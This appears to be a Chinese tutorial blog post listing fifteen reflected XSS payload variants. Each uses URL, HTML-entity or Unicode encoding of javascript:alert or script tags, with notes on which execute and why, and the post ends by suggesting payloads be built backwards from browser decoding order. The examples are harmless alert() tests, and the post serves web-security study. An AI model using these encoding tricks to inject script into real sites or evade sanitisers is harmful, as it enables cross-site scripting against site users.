反射型XSS的几种payload

目录

第一种:采用的是urlcode编码

第二种:前面用html实体编码,后面用urlcode编码

第三种:只对:使用urlcode编码

第四种:对<>进行html实体编码

第五种:textarea

第六种:和第五种一样

第七种:对'进行html实体编码

第八种:对'进行Unicode编码

第九种:对alert(9)进行html实体编码

第十种:对alert进行Unicode编码

第十一种:对alert(11)进行Unicode编码

第十二种:对alert和12进行Unicode编码

第十三种:对'进行Unicode编码

第十四种:在以下位置Unicode编码一个换行符\n

第十五种:先进行Unicode编码,再进行urlcode编码,最后进行html实体编码

总结:


第一种:采用的是urlcode编码

这里编码的就是javascript:alert(1)

复制代码
<a href="%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29">aaa</a>

可以发现并没有执行。因为在href里面不认识urlcode编码后的协议

第二种:前面用html实体编码,后面用urlcode编码
复制代码
<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:%61%6c%65%72%74%28%32%29">

由于先进行html实体编码后变成:

复制代码
<a href="javascript:%61%6c%65%72%74%28%32%29">

再进行url解码就可以识别javascript协议

第三种:只对:使用urlcode编码
复制代码
<a href="javascript%3aalert(3)"></a>

同1,:冒号算协议一部分。

第四种:对<>进行html实体编码
复制代码
<div>&#60;img src=x onerror=alert(4)&#62;</div>

当进入数据状态中的字符引用时,确实可以将编码字符进行解码,但不会进入标签开始状态。所以html把它当成一个字符串,可以展示,但无法执行。

第五种:textarea
复制代码
<textarea>&#60;script&#62;alert(5)&#60;/script&#62;</textarea>

因为<textarea>RCDATA元素(RCDATA elements),可以容纳文本和字符引用,注意不能容纳其他元素

第六种:和第五种一样
复制代码
<textarea><script>alert(6)</script></textarea>
第七种:对'进行html实体编码
复制代码
<button onclick="confirm('7&#39;);">Button</button>

这里的inclick与a标签的href差不多,可以被html解码。所以执行成功了

第八种:对'进行Unicode编码
复制代码
<button onclick="confirm('8\u0027);">Button</button>

执行失败,因为onclick中的值会交给JS处理,在JS中只有字符串和标识符能用Unicode表示,'显然不行

第九种:对alert(9)进行html实体编码
复制代码
<script>&#97;&#108;&#101;&#114;&#116&#40;&#57;&#41;&#59</script>

由于script属于原始文本元素(Raw text elements),只可以容纳文本 ,注意没有字符引用,于是直接由JS处理,JS也认不出来,所以执行失败。

原始文本元素(Raw text elements)有<script><style>。

第十种:对alert进行Unicode编码
复制代码
<script>\u0061\u006c\u0065\u0072\u0074(10);</script>

因为只有标识符,所以JS可以识别执行。

第十一种:对alert(11)进行Unicode编码
复制代码
<script>\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029</script>

因为JS中只有字符串和标识符能用Unicode表示,所以执行失败。

第十二种:对alert和12进行Unicode编码
复制代码
<script>\u0061\u006c\u0065\u0072\u0074(\u0031\u0032)</script>

执行失败,虽然这里可以被解码,但是12被解码出来是字符串,需要引号包含。

第十三种:对'进行Unicode编码
复制代码
<script>alert('13\u0027)</script>

肯定执行失败,同8

第十四种:在以下位置Unicode编码一个换行符\n
复制代码
<script>alert('14\u000a')</script>

执行成功。

第十五种:先进行Unicode编码,再进行urlcode编码,最后进行html实体编码
复制代码
<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x31;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x36;&#x33;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x35;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x32;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x34;&#x28;&#x31;&#x35;&#x29;"></a>

符合web的解码顺序,所以可以被执行。

总结:
  1. <script><style>数据只能有文本,不会有HTML解码和URL解码操作

  2. <textarea><title>里会有HTML解码操作,但不会有子元素

  3. 其他元素数据(如div)和元素属性数据(如href)中会有HTML解码操作

  4. 部分属性(如href)会有URL解码操作,但URL中的协议需为ASCII

  5. JavaScript会对字符串和标识符Unicode解码

根据浏览器的自动解码,反向构造 XSS Payload 即可

相关推荐
一斤代码1 小时前
vue3 下载图片(标签内容可转图)
前端·javascript·vue
中微子1 小时前
React Router 源码深度剖析解决面试中的深层次问题
前端·react.js
光影少年1 小时前
从前端转go开发的学习路线
前端·学习·golang
中微子2 小时前
React Router 面试指南:从基础到实战
前端·react.js·前端框架
3Katrina2 小时前
深入理解 useLayoutEffect:解决 UI "闪烁"问题的利器
前端·javascript·面试
前端_学习之路3 小时前
React--Fiber 架构
前端·react.js·架构
伍哥的传说3 小时前
React 实现五子棋人机对战小游戏
前端·javascript·react.js·前端框架·node.js·ecmascript·js
qq_424409193 小时前
uniapp的app项目,某个页面长时间无操作,返回首页
前端·vue.js·uni-app
我在北京coding3 小时前
element el-table渲染二维对象数组
前端·javascript·vue.js
布兰妮甜3 小时前
Vue+ElementUI聊天室开发指南
前端·javascript·vue.js·elementui